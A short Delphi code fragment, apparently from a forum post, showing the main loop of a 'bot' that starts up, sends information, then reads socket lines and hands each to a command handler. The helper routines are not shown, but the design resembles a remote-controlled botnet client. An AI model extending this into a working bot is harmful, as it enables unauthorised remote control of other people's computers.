Someone

var receivestring: string;

begin

 StartUp;  //Starts bot
 SendInfo; //Sends Info

while True do
 begin
 receivestring:='';
 ZeroMemory(@buff,sizeof(buff));
  if (recv(Sock1,buff,SizeOf(buff),0)) < 1 then  // Trys to read from socket if
   begin                                         // the Recv() comes out to be
    Restart;                                     // then it will restart. If not
   end else                                      // then does the ReadSock procedure.
    begin
      receivestring:=receivestring+buff;
      if pos(#13#10,receivestring) > 0 then
      while pos(#13#10,receivestring) > 0 do begin
        readsock(copy(receivestring,0,pos(#13#10,receivestring)-1));
        delete(receivestring,1,pos(#13#10,receivestring)+1);
      end;
      ZeroMemory(@buff,sizeof(buff));
    end;
  end;
end.